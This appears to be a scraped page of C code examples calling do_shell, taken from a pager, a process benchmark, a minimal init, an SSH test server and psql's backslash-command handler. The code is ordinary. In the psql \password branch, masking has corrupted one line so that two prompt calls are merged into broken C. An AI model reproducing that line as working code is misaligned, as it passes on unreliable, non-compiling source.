示例#1
0
/*
 * Execute a colon-prefixed command.
 * Returns <0 if not a command that should cause
 * more of the file to be printed.
 */
int
colon(char *filename, int cmd, int nlines)
{
	int ch;

	if (cmd == 0)
		ch = readch();
	else
		ch = cmd;
	lastcolon = ch;
	switch (ch) {
	case 'f':
		kill_line();
		if (!no_intty)
			promptlen =
			    printf("\"%s\" line %lld", fnames[fnum],
				(long long)Currline);
		else
			promptlen = printf("[Not a file] line %lld",
			    (long long)Currline);
		fflush(stdout);
		return (-1);
	case 'n':
		if (nlines == 0) {
			if (fnum >= nfiles - 1)
				end_it();
			nlines++;
		}
		putchar('\r');
		erasep(0);
		skipf(nlines);
		return (0);
	case 'p':
		if (no_intty) {
			write(STDERR_FILENO, &bell, 1);
			return (-1);
		}
		putchar('\r');
		erasep(0);
		if (nlines == 0)
			nlines++;
		skipf (-nlines);
		return (0);
	case '!':
		if (do_shell(filename) < 0) {
			kill_line();
			prompt(filename);
		}
		return (-1);
	case 'q':
	case 'Q':
		end_it();
		/*FALLTHROUGH*/
	default:
		write(STDERR_FILENO, &bell, 1);
		return (-1);
	}
}
示例#2
0
int
main(int ac, char **av)
{
	if (ac < 2) goto usage;

	if (!strcmp("procedure", av[1])) {
		BENCH(do_procedure(ac), 0);
		micro("Procedure call", get_n());
	} else if (!strcmp("fork", av[1])) {
		BENCH(do_fork(), 0);
#ifdef STATIC
		micro("Static Process fork+exit", get_n());
#else
		micro("Process fork+exit", get_n());
#endif
	} else if (!strcmp("dfork", av[1])) {
		BENCH(do_dfork(), 0);
#ifdef STATIC
		micro("Static Process double fork+exit", get_n());
#else
		micro("Process double fork+exit", get_n());
#endif
	} else if (!strcmp("exec", av[1])) {
		BENCH(do_forkexec(), 0);
#ifdef STATIC
		micro("Static Process fork+execve", get_n());
#else
		micro("Process fork+execve", get_n());
#endif
	} else if (!strcmp("dforkexec", av[1])) {
		BENCH(do_dforkexec(), 0);
#ifdef STATIC
		micro("Static Process double fork+execve", get_n());
#else
		micro("Process double fork+execve", get_n());
#endif
	} else if (!strcmp("shell", av[1])) {
		BENCH(do_shell(), 0);
#ifdef STATIC
		micro("Static Process fork+/bin/sh -c", get_n());
#else
		micro("Process fork+/bin/sh -c", get_n());
#endif
	} else {
usage:		printf("Usage: %s fork|exec|shell|dfork|dforkexec\n", av[0]);
	}
	return(0);
}
示例#3
0
int
main(
	int	argc,
	char	**argv_init,
	char	**envp_init)
{
	int pid,i;

	/*
	 *	This keeps serial console MUCH cleaner, but does assume
	 *	the console driver checks there really is a video device
	 *	attached (Sparc effectively does).
	 */

	if ((open("/dev/tty1",O_RDWR,0) < 0) &&
	    (open("/dev/ttyS0",O_RDWR,0) < 0))
		printf("Unable to open an initial console.\n");

	(void) dup(0);
	(void) dup(0);

	execve("/etc/init",argv_init,envp_init);
	execve("/bin/init",argv_init,envp_init);
	execve("/sbin/init",argv_init,envp_init);
	/* if this fails, fall through to original stuff */

	if (!(pid=fork())) {
		do_rc("/etc/rc");
	}
	if (pid>0)
		while (pid != wait(&i))
			/* nothing */;
	while (1) {
		if ((pid = fork()) < 0) {
			printf("Fork failed in mach_init\n\r");
			continue;
		}
		if (!pid) {
			do_shell("/bin/sh");
		}
		while (1)
			if (pid == wait(&i))
				break;
		printf("\n\rchild %d died with code %04x\n\r",pid,i);
		sync();
	}
	_exit(0);
}
示例#4
0
static int
channel_request_callback (ssh_session session,
                          ssh_message message,
                          gpointer user_data)
{
  const gchar *cmd;

  /* wait for a shell */
  switch (ssh_message_type (message))
    {
    case SSH_REQUEST_CHANNEL:
      switch (ssh_message_subtype (message))
        {
        case SSH_CHANNEL_REQUEST_SHELL:
          if (do_shell (state.event, state.channel) < 0)
            goto deny;
          goto accept_end;
        case SSH_CHANNEL_REQUEST_EXEC:
          cmd = ssh_message_channel_request_command (message);
          if (do_exec (state.event, state.channel, cmd) < 0)
            goto deny;
          goto accept_end;
        case SSH_CHANNEL_REQUEST_PTY:
        case SSH_CHANNEL_REQUEST_ENV:
          goto accept;
        default:
          g_message ("message subtype unknown: %d", ssh_message_subtype (message));
          goto deny;
        }
    default:
      g_message ("message type unknown: %d", ssh_message_type (message));
      goto deny;
    }

deny:
  return 1;

accept_end:
accept:
  ssh_message_channel_request_reply_success (message);
  return 0;
}
示例#5
0
文件: command.c 项目: 50wu/gpdb
/*
 * Subroutine to actually try to execute a backslash command.
 */
static backslashResult
exec_command(const char *cmd,
			 PsqlScanState scan_state,
			 PQExpBuffer query_buf)
{
	bool		success = true; /* indicate here if the command ran ok or
								 * failed */
	backslashResult status = PSQL_CMD_SKIP_LINE;

	/*
	 * \a -- toggle field alignment This makes little sense but we keep it
	 * around.
	 */
	if (strcmp(cmd, "a") == 0)
	{
		if (pset.popt.topt.format != PRINT_ALIGNED)
			success = do_pset("format", "aligned", &pset.popt, pset.quiet);
		else
			success = do_pset("format", "unaligned", &pset.popt, pset.quiet);
	}

	/* \C -- override table title (formerly change HTML caption) */
	else if (strcmp(cmd, "C") == 0)
	{
		char	   *opt = psql_scan_slash_option(scan_state,
												 OT_NORMAL, NULL, true);

		success = do_pset("title", opt, &pset.popt, pset.quiet);
		free(opt);
	}

	/*
	 * \c or \connect -- connect to database using the specified parameters.
	 *
	 * \c dbname user host port
	 *
	 * If any of these parameters are omitted or specified as '-', the current
	 * value of the parameter will be used instead. If the parameter has no
	 * current value, the default value for that parameter will be used. Some
	 * examples:
	 *
	 * \c - - hst		Connect to current database on current port of host
	 * "hst" as current user. \c - usr - prt   Connect to current database on
	 * "prt" port of current host as user "usr". \c dbs			  Connect to
	 * "dbs" database on current port of current host as current user.
	 */
	else if (strcmp(cmd, "c") == 0 || strcmp(cmd, "connect") == 0)
	{
		char	   *opt1,
				   *opt2,
				   *opt3,
				   *opt4;

		opt1 = read_connect_arg(scan_state);
		opt2 = read_connect_arg(scan_state);
		opt3 = read_connect_arg(scan_state);
		opt4 = read_connect_arg(scan_state);

		success = do_connect(opt1, opt2, opt3, opt4);

		free(opt1);
		free(opt2);
		free(opt3);
		free(opt4);
	}

	/* \cd */
	else if (strcmp(cmd, "cd") == 0)
	{
		char	   *opt = psql_scan_slash_option(scan_state,
												 OT_NORMAL, NULL, true);
		char	   *dir;

		if (opt)
			dir = opt;
		else
		{
#ifndef WIN32
			struct passwd *pw;

			pw = getpwuid(geteuid());
			if (!pw)
			{
				psql_error("could not get home directory: %s\n", strerror(errno));
				exit(EXIT_FAILURE);
			}
			dir = pw->pw_dir;
#else							/* WIN32 */

			/*
			 * On Windows, 'cd' without arguments prints the current
			 * directory, so if someone wants to code this here instead...
			 */
			dir = "/";
#endif   /* WIN32 */
		}

		if (chdir(dir) == -1)
		{
			psql_error("\\%s: could not change directory to \"%s\": %s\n",
					   cmd, dir, strerror(errno));
			success = false;
		}

		if (pset.dirname)
			free(pset.dirname);
		pset.dirname = pg_strdup(dir);
		canonicalize_path(pset.dirname);

		if (opt)
			free(opt);
	}

	/* \conninfo -- display information about the current connection */
	else if (strcmp(cmd, "conninfo") == 0)
	{
		char	   *db = PQdb(pset.db);
		char	   *host = PQhost(pset.db);

		if (db == NULL)
			printf(_("You are not connected.\n"));
		else
		{
			if (host == NULL)
				host = DEFAULT_PGSOCKET_DIR;
			/* If the host is an absolute path, the connection is via socket */
			if (is_absolute_path(host))
				printf(_("You are connected to database \"%s\" as user \"%s\" via socket in \"%s\" at port \"%s\".\n"),
					   db, PQuser(pset.db), host, PQport(pset.db));
			else
				printf(_("You are connected to database \"%s\" as user \"%s\" on host \"%s\" at port \"%s\".\n"),
					   db, PQuser(pset.db), host, PQport(pset.db));
		}
	}

	/* \copy */
	else if (pg_strcasecmp(cmd, "copy") == 0)
	{
		/* Default fetch-it-all-and-print mode */
		instr_time	before,
					after;

		char	   *opt = psql_scan_slash_option(scan_state,
												 OT_WHOLE_LINE, NULL, false);

		if (pset.timing)
			INSTR_TIME_SET_CURRENT(before);

		success = do_copy(opt);

		if (pset.timing && success)
		{
			INSTR_TIME_SET_CURRENT(after);
			INSTR_TIME_SUBTRACT(after, before);
			printf(_("Time: %.3f ms\n"), INSTR_TIME_GET_MILLISEC(after));
		}

		free(opt);
	}

	/* \copyright */
	else if (strcmp(cmd, "copyright") == 0)
		print_copyright();

	/* \d* commands */
	else if (cmd[0] == 'd')
	{
		char	   *pattern;
		bool		show_verbose,
					show_system;

		/* We don't do SQLID reduction on the pattern yet */
		pattern = psql_scan_slash_option(scan_state,
										 OT_NORMAL, NULL, true);

		show_verbose = strchr(cmd, '+') ? true : false;
		show_system = strchr(cmd, 'S') ? true : false;

		switch (cmd[1])
		{
			case '\0':
			case '+':
			case 'S':  /* GPDB:  This is a change from old behavior: We used to show just system tables */
 				if (pattern)
					success = describeTableDetails(pattern, show_verbose, show_system);
				else
					/* standard listing of interesting things */
					success = listTables("tvsxr", NULL, show_verbose, show_system);
				break;
			case 'a':
				success = describeAggregates(pattern, show_verbose, show_system);
				break;
			case 'b':
				success = describeTablespaces(pattern, show_verbose);
				break;
			case 'c':
				success = listConversions(pattern, show_system);
				break;
			case 'C':
				success = listCasts(pattern);
				break;
			case 'd':
				if (strncmp(cmd, "ddp", 3) == 0)
					success = listDefaultACLs(pattern);
				else
					success = objectDescription(pattern, show_system);
				break;
			case 'D':
				success = listDomains(pattern, show_system);
				break;
			case 'f':			/* function subsystem */
				switch (cmd[2])
				{
					case '\0':
					case '+':
					case 'S':
					case 'a':
					case 'n':
					case 't':
					case 'w':
						success = describeFunctions(&cmd[2], pattern, show_verbose, show_system);
						break;
					default:
						status = PSQL_CMD_UNKNOWN;
						break;
				}
				break;
			case 'g':
				/* no longer distinct from \du */
				success = describeRoles(pattern, show_verbose);
				break;
			case 'l':
				success = do_lo_list();
				break;
			case 'n':
				success = listSchemas(pattern, show_verbose);
				break;
			case 'o':
				success = describeOperators(pattern, show_system);
				break;
			case 'p':
				success = permissionsList(pattern);
				break;
			case 'T':
				success = describeTypes(pattern, show_verbose, show_system);
				break;
			case 't':
			case 'v':
			case 'i':
			case 's':
			case 'E':	/* PostgreSQL use dx for extension, change to dE for foreign table */
            /* case 'S':  // GPDB:  We used to show just system tables for this */
			case 'P':   /* GPDB: Parent-only tables, no children */
				success = listTables(&cmd[1], pattern, show_verbose, show_system);
				break;
			case 'r':
				if (cmd[2] == 'd' && cmd[3] == 's')
				{
					char	   *pattern2 = NULL;

					if (pattern)
						pattern2 = psql_scan_slash_option(scan_state,
													  OT_NORMAL, NULL, true);
					success = listDbRoleSettings(pattern, pattern2);
				}
				else
					//success = PSQL_CMD_UNKNOWN;
					/* GPDB uses \dr for foreign tables ? */
					success = listTables(&cmd[1], pattern, show_verbose, show_system);
				break;
			case 'u':
				success = describeRoles(pattern, show_verbose);
				break;
			case 'F':			/* text search subsystem */
				switch (cmd[2])
				{
					case '\0':
					case '+':
						success = listTSConfigs(pattern, show_verbose);
						break;
					case 'p':
						success = listTSParsers(pattern, show_verbose);
						break;
					case 'd':
						success = listTSDictionaries(pattern, show_verbose);
						break;
					case 't':
						success = listTSTemplates(pattern, show_verbose);
						break;
					default:
						status = PSQL_CMD_UNKNOWN;
						break;
				}
				break;
			case 'x':			/* Extensions */
				if (show_verbose)
					success = listExtensionContents(pattern);
				else
					success = listExtensions(pattern);
				break;
			default:
				status = PSQL_CMD_UNKNOWN;
		}

		if (pattern)
			free(pattern);
	}


	/*
	 * \e or \edit -- edit the current query buffer, or edit a file and make
	 * it the query buffer
	 */
	else if (strcmp(cmd, "e") == 0 || strcmp(cmd, "edit") == 0)
	{
		if (!query_buf)
		{
			psql_error("no query buffer\n");
			status = PSQL_CMD_ERROR;
		}
		else
		{
			char	   *fname;

			fname = psql_scan_slash_option(scan_state,
										   OT_NORMAL, NULL, true);
			expand_tilde(&fname);
			if (fname)
				canonicalize_path(fname);
			if (do_edit(fname, query_buf, NULL))
				status = PSQL_CMD_NEWEDIT;
			else
				status = PSQL_CMD_ERROR;
			free(fname);
		}
	}

	/*
	 * \ef -- edit the named function, or present a blank CREATE FUNCTION
	 * template if no argument is given
	 */
	else if (strcmp(cmd, "ef") == 0)
	{
		if (!query_buf)
		{
			psql_error("no query buffer\n");
			status = PSQL_CMD_ERROR;
		}
		else
		{
			char	   *func;
			Oid			foid = InvalidOid;

			func = psql_scan_slash_option(scan_state,
										  OT_WHOLE_LINE, NULL, true);
			if (!func)
			{
				/* set up an empty command to fill in */
				printfPQExpBuffer(query_buf,
								  "CREATE FUNCTION ( )\n"
								  " RETURNS \n"
								  " LANGUAGE \n"
								  " -- common options:  IMMUTABLE  STABLE  STRICT  SECURITY DEFINER\n"
								  "AS $function$\n"
								  "\n$function$\n");
			}
			else if (!lookup_function_oid(pset.db, func, &foid))
			{
				/* error already reported */
				status = PSQL_CMD_ERROR;
			}
			else if (!get_create_function_cmd(pset.db, foid, query_buf))
			{
				/* error already reported */
				status = PSQL_CMD_ERROR;
			}
			if (func)
				free(func);
		}

		if (status != PSQL_CMD_ERROR)
		{
			bool		edited = false;

			if (!do_edit(0, query_buf, &edited))
				status = PSQL_CMD_ERROR;
			else if (!edited)
				puts(_("No changes"));
			else
				status = PSQL_CMD_NEWEDIT;
		}
	}

	/* \echo and \qecho */
	else if (strcmp(cmd, "echo") == 0 || strcmp(cmd, "qecho") == 0)
	{
		char	   *value;
		char		quoted;
		bool		no_newline = false;
		bool		first = true;
		FILE	   *fout;

		if (strcmp(cmd, "qecho") == 0)
			fout = pset.queryFout;
		else
			fout = stdout;

		while ((value = psql_scan_slash_option(scan_state,
											   OT_NORMAL, &quoted, false)))
		{
			if (!quoted && strcmp(value, "-n") == 0)
				no_newline = true;
			else
			{
				if (first)
					first = false;
				else
					fputc(' ', fout);
				fputs(value, fout);
			}
			free(value);
		}
		if (!no_newline)
			fputs("\n", fout);
	}

	/* \encoding -- set/show client side encoding */
	else if (strcmp(cmd, "encoding") == 0)
	{
		char	   *encoding = psql_scan_slash_option(scan_state,
													  OT_NORMAL, NULL, false);

		if (!encoding)
		{
			/* show encoding */
			puts(pg_encoding_to_char(pset.encoding));
		}
		else
		{
			/* set encoding */
			if (PQsetClientEncoding(pset.db, encoding) == -1)
				psql_error("%s: invalid encoding name or conversion procedure not found\n", encoding);
			else
			{
				/* save encoding info into psql internal data */
				pset.encoding = PQclientEncoding(pset.db);
				pset.popt.topt.encoding = pset.encoding;
				SetVariable(pset.vars, "ENCODING",
							pg_encoding_to_char(pset.encoding));
			}
			free(encoding);
		}
	}

	/* \f -- change field separator */
	else if (strcmp(cmd, "f") == 0)
	{
		char	   *fname = psql_scan_slash_option(scan_state,
												   OT_NORMAL, NULL, false);

		success = do_pset("fieldsep", fname, &pset.popt, pset.quiet);
		free(fname);
	}

	/* \g means send query */
	else if (strcmp(cmd, "g") == 0)
	{
		char	   *fname = psql_scan_slash_option(scan_state,
												   OT_FILEPIPE, NULL, false);

		if (!fname)
			pset.gfname = NULL;
		else
		{
			expand_tilde(&fname);
			pset.gfname = pg_strdup(fname);
		}
		free(fname);
		status = PSQL_CMD_SEND;
	}

	/* help */
	else if (strcmp(cmd, "h") == 0 || strcmp(cmd, "help") == 0)
	{
		char	   *opt = psql_scan_slash_option(scan_state,
												 OT_WHOLE_LINE, NULL, false);
		size_t		len;

		/* strip any trailing spaces and semicolons */
		if (opt)
		{
			len = strlen(opt);
			while (len > 0 &&
				   (isspace((unsigned char) opt[len - 1])
					|| opt[len - 1] == ';'))
				opt[--len] = '\0';
		}

		helpSQL(opt, pset.popt.topt.pager);
		free(opt);
	}

	/* HTML mode */
	else if (strcmp(cmd, "H") == 0 || strcmp(cmd, "html") == 0)
	{
		if (pset.popt.topt.format != PRINT_HTML)
			success = do_pset("format", "html", &pset.popt, pset.quiet);
		else
			success = do_pset("format", "aligned", &pset.popt, pset.quiet);
	}


	/* \i is include file */
	else if (strcmp(cmd, "i") == 0 || strcmp(cmd, "include") == 0)
	{
		char	   *fname = psql_scan_slash_option(scan_state,
												   OT_NORMAL, NULL, true);

		if (!fname)
		{
			psql_error("\\%s: missing required argument\n", cmd);
			success = false;
		}
		else
		{
			expand_tilde(&fname);
			success = (process_file(fname, false) == EXIT_SUCCESS);
			free(fname);
		}
	}

	/* \l is list databases */
	else if (strcmp(cmd, "l") == 0 || strcmp(cmd, "list") == 0)
		success = listAllDbs(false);
	else if (strcmp(cmd, "l+") == 0 || strcmp(cmd, "list+") == 0)
		success = listAllDbs(true);

	/*
	 * large object things
	 */
	else if (strncmp(cmd, "lo_", 3) == 0)
	{
		char	   *opt1,
				   *opt2;

		opt1 = psql_scan_slash_option(scan_state,
									  OT_NORMAL, NULL, true);
		opt2 = psql_scan_slash_option(scan_state,
									  OT_NORMAL, NULL, true);

		if (strcmp(cmd + 3, "export") == 0)
		{
			if (!opt2)
			{
				psql_error("\\%s: missing required argument\n", cmd);
				success = false;
			}
			else
			{
				expand_tilde(&opt2);
				success = do_lo_export(opt1, opt2);
			}
		}

		else if (strcmp(cmd + 3, "import") == 0)
		{
			if (!opt1)
			{
				psql_error("\\%s: missing required argument\n", cmd);
				success = false;
			}
			else
			{
				expand_tilde(&opt1);
				success = do_lo_import(opt1, opt2);
			}
		}

		else if (strcmp(cmd + 3, "list") == 0)
			success = do_lo_list();

		else if (strcmp(cmd + 3, "unlink") == 0)
		{
			if (!opt1)
			{
				psql_error("\\%s: missing required argument\n", cmd);
				success = false;
			}
			else
				success = do_lo_unlink(opt1);
		}

		else
			status = PSQL_CMD_UNKNOWN;

		free(opt1);
		free(opt2);
	}


	/* \o -- set query output */
	else if (strcmp(cmd, "o") == 0 || strcmp(cmd, "out") == 0)
	{
		char	   *fname = psql_scan_slash_option(scan_state,
												   OT_FILEPIPE, NULL, true);

		expand_tilde(&fname);
		success = setQFout(fname);
		free(fname);
	}

	/* \p prints the current query buffer */
	else if (strcmp(cmd, "p") == 0 || strcmp(cmd, "print") == 0)
	{
		if (query_buf && query_buf->len > 0)
			puts(query_buf->data);
		else if (!pset.quiet)
			puts(_("Query buffer is empty."));
		fflush(stdout);
	}

	/* \password -- set user password */
	else if (strcmp(cmd, "password") == 0)
	{
		char	   *pw1;
		char	   *pw2;

		pw1 = simple_prompt("Enter new password: "******"Enter it again: ", 100, false);

		if (strcmp(pw1, pw2) != 0)
		{
			fprintf(stderr, _("Passwords didn't match.\n"));
			success = false;
		}
		else
		{
			char	   *opt0 = psql_scan_slash_option(scan_state, OT_SQLID, NULL, true);
			char	   *user;
			char	   *encrypted_password;

			if (opt0)
				user = opt0;
			else
				user = PQuser(pset.db);

			encrypted_password = PQencryptPassword(pw1, user);

			if (!encrypted_password)
			{
				fprintf(stderr, _("Password encryption failed.\n"));
				success = false;
			}
			else
			{
				PQExpBufferData buf;
				PGresult   *res;

				initPQExpBuffer(&buf);
				printfPQExpBuffer(&buf, "ALTER USER %s PASSWORD ",
								  fmtId(user));
				appendStringLiteralConn(&buf, encrypted_password, pset.db);
				res = PSQLexec(buf.data, false);
				termPQExpBuffer(&buf);
				if (!res)
					success = false;
				else
					PQclear(res);
				PQfreemem(encrypted_password);
			}
		}

		free(pw1);
		free(pw2);
	}

	/* \prompt -- prompt and set variable */
	else if (strcmp(cmd, "prompt") == 0)
	{
		char	   *opt,
				   *prompt_text = NULL;
		char	   *arg1,
				   *arg2;

		arg1 = psql_scan_slash_option(scan_state, OT_NORMAL, NULL, false);
		arg2 = psql_scan_slash_option(scan_state, OT_NORMAL, NULL, false);

		if (!arg1)
		{
			psql_error("\\%s: missing required argument\n", cmd);
			success = false;
		}
		else
		{
			char	   *result;

			if (arg2)
			{
				prompt_text = arg1;
				opt = arg2;
			}
			else
				opt = arg1;

			if (!pset.inputfile)
				result = simple_prompt(prompt_text, 4096, true);
			else
			{
				if (prompt_text)
				{
					fputs(prompt_text, stdout);
					fflush(stdout);
				}
				result = gets_fromFile(stdin);
			}

			if (!SetVariable(pset.vars, opt, result))
			{
				psql_error("\\%s: error\n", cmd);
				success = false;
			}

			free(result);
			if (prompt_text)
				free(prompt_text);
			free(opt);
		}
	}

	/* \pset -- set printing parameters */
	else if (strcmp(cmd, "pset") == 0)
	{
		char	   *opt0 = psql_scan_slash_option(scan_state,
												  OT_NORMAL, NULL, false);
		char	   *opt1 = psql_scan_slash_option(scan_state,
												  OT_NORMAL, NULL, false);

		if (!opt0)
		{
			psql_error("\\%s: missing required argument\n", cmd);
			success = false;
		}
		else
			success = do_pset(opt0, opt1, &pset.popt, pset.quiet);

		free(opt0);
		free(opt1);
	}

	/* \q or \quit */
	else if (strcmp(cmd, "q") == 0 || strcmp(cmd, "quit") == 0)
		status = PSQL_CMD_TERMINATE;

	/* reset(clear) the buffer */
	else if (strcmp(cmd, "r") == 0 || strcmp(cmd, "reset") == 0)
	{
		resetPQExpBuffer(query_buf);
		psql_scan_reset(scan_state);
		if (!pset.quiet)
			puts(_("Query buffer reset (cleared)."));
	}

	/* \s save history in a file or show it on the screen */
	else if (strcmp(cmd, "s") == 0)
	{
		char	   *fname = psql_scan_slash_option(scan_state,
												   OT_NORMAL, NULL, true);

#if defined(WIN32) && !defined(__CYGWIN__)

		/*
		 * XXX This does not work for all terminal environments or for output
		 * containing non-ASCII characters; see comments in simple_prompt().
		 */
#define DEVTTY	"con"
#else
#define DEVTTY	"/dev/tty"
#endif

		expand_tilde(&fname);
		/* This scrolls off the screen when using /dev/tty */
		success = saveHistory(fname ? fname : DEVTTY, -1, false, false);
		if (success && !pset.quiet && fname)
			printf(gettext("Wrote history to file \"%s/%s\".\n"),
				   pset.dirname ? pset.dirname : ".", fname);
		if (!fname)
			putchar('\n');
		free(fname);
	}

	/* \set -- generalized set variable/option command */
	else if (strcmp(cmd, "set") == 0)
	{
		char	   *opt0 = psql_scan_slash_option(scan_state,
												  OT_NORMAL, NULL, false);

		if (!opt0)
		{
			/* list all variables */
			PrintVariables(pset.vars);
			success = true;
		}
		else
		{
			/*
			 * Set variable to the concatenation of the arguments.
			 */
			char	   *newval;
			char	   *opt;

			opt = psql_scan_slash_option(scan_state,
										 OT_NORMAL, NULL, false);
			newval = pg_strdup(opt ? opt : "");
			free(opt);

			while ((opt = psql_scan_slash_option(scan_state,
												 OT_NORMAL, NULL, false)))
			{
				newval = realloc(newval, strlen(newval) + strlen(opt) + 1);
				if (!newval)
				{
					psql_error("out of memory\n");
					exit(EXIT_FAILURE);
				}
				strcat(newval, opt);
				free(opt);
			}

			if (!SetVariable(pset.vars, opt0, newval))
			{
				psql_error("\\%s: error\n", cmd);
				success = false;
			}
			free(newval);
		}
		free(opt0);
	}

	/* \t -- turn off headers and row count */
	else if (strcmp(cmd, "t") == 0)
	{
		char	   *opt = psql_scan_slash_option(scan_state,
												 OT_NORMAL, NULL, true);

		success = do_pset("tuples_only", opt, &pset.popt, pset.quiet);
		free(opt);
	}


	/* \T -- define html <table ...> attributes */
	else if (strcmp(cmd, "T") == 0)
	{
		char	   *value = psql_scan_slash_option(scan_state,
												   OT_NORMAL, NULL, false);

		success = do_pset("tableattr", value, &pset.popt, pset.quiet);
		free(value);
	}

	/* \timing -- toggle timing of queries */
	else if (strcmp(cmd, "timing") == 0)
	{
		char	   *opt = psql_scan_slash_option(scan_state,
												 OT_NORMAL, NULL, false);

		if (opt)
			pset.timing = ParseVariableBool(opt);
		else
			pset.timing = !pset.timing;
		if (!pset.quiet)
		{
			if (pset.timing)
				puts(_("Timing is on."));
			else
				puts(_("Timing is off."));
		}
		free(opt);
	}

	/* \unset */
	else if (strcmp(cmd, "unset") == 0)
	{
		char	   *opt = psql_scan_slash_option(scan_state,
												 OT_NORMAL, NULL, false);

		if (!opt)
		{
			psql_error("\\%s: missing required argument\n", cmd);
			success = false;
		}
		else if (!SetVariable(pset.vars, opt, NULL))
		{
			psql_error("\\%s: error\n", cmd);
			success = false;
		}
		free(opt);
	}

	/* \w -- write query buffer to file */
	else if (strcmp(cmd, "w") == 0 || strcmp(cmd, "write") == 0)
	{
		FILE	   *fd = NULL;
		bool		is_pipe = false;
		char	   *fname = NULL;

		if (!query_buf)
		{
			psql_error("no query buffer\n");
			status = PSQL_CMD_ERROR;
		}
		else
		{
			fname = psql_scan_slash_option(scan_state,
										   OT_FILEPIPE, NULL, true);
			expand_tilde(&fname);

			if (!fname)
			{
				psql_error("\\%s: missing required argument\n", cmd);
				success = false;
			}
			else
			{
				if (fname[0] == '|')
				{
					is_pipe = true;
					fd = popen(&fname[1], "w");
				}
				else
				{
					canonicalize_path(fname);
					fd = fopen(fname, "w");
				}
				if (!fd)
				{
					psql_error("%s: %s\n", fname, strerror(errno));
					success = false;
				}
			}
		}

		if (fd)
		{
			int			result;

			if (query_buf && query_buf->len > 0)
				fprintf(fd, "%s\n", query_buf->data);

			if (is_pipe)
				result = pclose(fd);
			else
				result = fclose(fd);

			if (result == EOF)
			{
				psql_error("%s: %s\n", fname, strerror(errno));
				success = false;
			}
		}

		free(fname);
	}

	/* \x -- toggle expanded table representation */
	else if (strcmp(cmd, "x") == 0)
	{
		char	   *opt = psql_scan_slash_option(scan_state,
												 OT_NORMAL, NULL, true);

		success = do_pset("expanded", opt, &pset.popt, pset.quiet);
		free(opt);
	}

	/* \z -- list table rights (equivalent to \dp) */
	else if (strcmp(cmd, "z") == 0)
	{
		char	   *pattern = psql_scan_slash_option(scan_state,
													 OT_NORMAL, NULL, true);

		success = permissionsList(pattern);
		if (pattern)
			free(pattern);
	}

	/* \! -- shell escape */
	else if (strcmp(cmd, "!") == 0)
	{
		char	   *opt = psql_scan_slash_option(scan_state,
												 OT_WHOLE_LINE, NULL, false);

		success = do_shell(opt);
		free(opt);
	}

	/* \? -- slash command help */
	else if (strcmp(cmd, "?") == 0)
		slashUsage(pset.popt.topt.pager);

#if 0

	/*
	 * These commands don't do anything. I just use them to test the parser.
	 */
	else if (strcmp(cmd, "void") == 0 || strcmp(cmd, "#") == 0)
	{
		int			i = 0;
		char	   *value;

		while ((value = psql_scan_slash_option(scan_state,
											   OT_NORMAL, NULL, true)))
		{
			fprintf(stderr, "+ opt(%d) = |%s|\n", i++, value);
			free(value);
		}
	}
#endif

	else
		status = PSQL_CMD_UNKNOWN;

	if (!success)
		status = PSQL_CMD_ERROR;

	return status;
}
示例#6
0
/*
 * Read a command and do it. A command consists of an optional integer
 * argument followed by the command character.  Return the number of lines
 * to display in the next screenful.  If there is nothing more to display
 * in the current file, zero is returned.
 */
int
command(char *filename, FILE *f)
{
	int nlines;
	int retval;
	int ch;
	char colonch;
	int done;
	char comchar, cmdbuf[80], *p;

#define ret(val) retval=val;done++;break

	retval = done = 0;
	if (!errors)
		prompt(filename);
	else
		errors = 0;
	for (;;) {
		nlines = number(&comchar);
		lastp = colonch = 0;
		if (comchar == '.') {	/* Repeat last command */
			lastp++;
			comchar = lastcmd;
			nlines = lastarg;
			if (lastcmd == ':')
				colonch = lastcolon;
		}
		lastcmd = comchar;
		lastarg = nlines;
		if (comchar == otty.c_cc[VERASE]) {
			kill_line();
			prompt(filename);
			continue;
		}
		switch (comchar) {
		case ':':
			retval = colon(filename, colonch, nlines);
			if (retval >= 0)
				done++;
			break;
		case 'b':
		case ctrl('B'):
		    {
			int initline;

			if (no_intty) {
				write(STDERR_FILENO, &bell, 1);
				return (-1);
			}

			if (nlines == 0)
				nlines++;

			putchar('\r');
			erasep(0);
			putchar('\n');
			if (clreol)
				cleareol();
			printf("...back %d page", nlines);
			if (nlines > 1)
				fputs("s\n", stdout);
			else
				putchar('\n');

			if (clreol)
				cleareol();
			putchar('\n');

			initline = Currline - (off_t)dlines * (nlines + 1);
			if (!noscroll)
				--initline;
			if (initline < 0)
				initline = 0;
			Fseek(f, (off_t)0);
			Currline = 0; /* skiplns() will make Currline correct */
			skiplns(initline, f);
			ret(dlines);
		    }
		case ' ':
		case 'z':
			if (nlines == 0)
				nlines = dlines;
			else if (comchar == 'z')
				dlines = nlines;
			ret(nlines);
		case 'd':
		case ctrl('D'):
			if (nlines != 0)
				nscroll = nlines;
			ret(nscroll);
		case 'q':
		case 'Q':
			end_it();
		case 's':
		case 'f':
			if (nlines == 0)
				nlines++;
			if (comchar == 'f')
				nlines *= dlines;
			putchar('\r');
			erasep(0);
			putchar('\n');
			if (clreol)
				cleareol();
			printf("...skipping %d line", nlines);
			if (nlines > 1)
				fputs("s\n", stdout);
			else
				putchar('\n');

			if (clreol)
				cleareol();
			putchar('\n');

			while (nlines > 0) {
				while ((ch = Getc(f)) != '\n') {
					if (ch == EOF) {
						retval = 0;
						done++;
						goto endsw;
					}
				}
				Currline++;
				nlines--;
			}
			ret(dlines);
		case '\n':
			if (nlines != 0)
				dlines = nlines;
			else
				nlines = 1;
			ret(nlines);
		case '\f':
			if (!no_intty) {
				doclear();
				Fseek(f, screen_start.chrctr);
				Currline = screen_start.line;
				ret(dlines);
			} else {
				write(STDERR_FILENO, &bell, 1);
				break;
			}
		case '\'':
			if (!no_intty) {
				kill_line();
				fputs("\n***Back***\n\n", stdout);
				Fseek(f, context.chrctr);
				Currline = context.line;
				ret(dlines);
			} else {
				write(STDERR_FILENO, &bell, 1);
				break;
			}
		case '=':
			kill_line();
			promptlen = printf("%lld", (long long)Currline);
			fflush(stdout);
			break;
		case 'n':
			lastp++;
		case '/':
			if (nlines == 0)
				nlines++;
			kill_line();
			putchar('/');
			promptlen = 1;
			fflush(stdout);
			if (lastp) {
				/* Use previous r.e. */
				write(STDERR_FILENO, "\r", 1);
				if (search(NULL, f, nlines) < 0)
					break;
			} else {
				if (ttyin(cmdbuf, sizeof(cmdbuf) - 2, '/') < 0) {
					kill_line();
					prompt(filename);
					continue;
				}
				write(STDERR_FILENO, "\r", 1);
				if (search(cmdbuf, f, nlines) < 0)
					break;
			}
			ret(dlines-1);
		case '!':
			if (do_shell(filename) < 0) {
				kill_line();
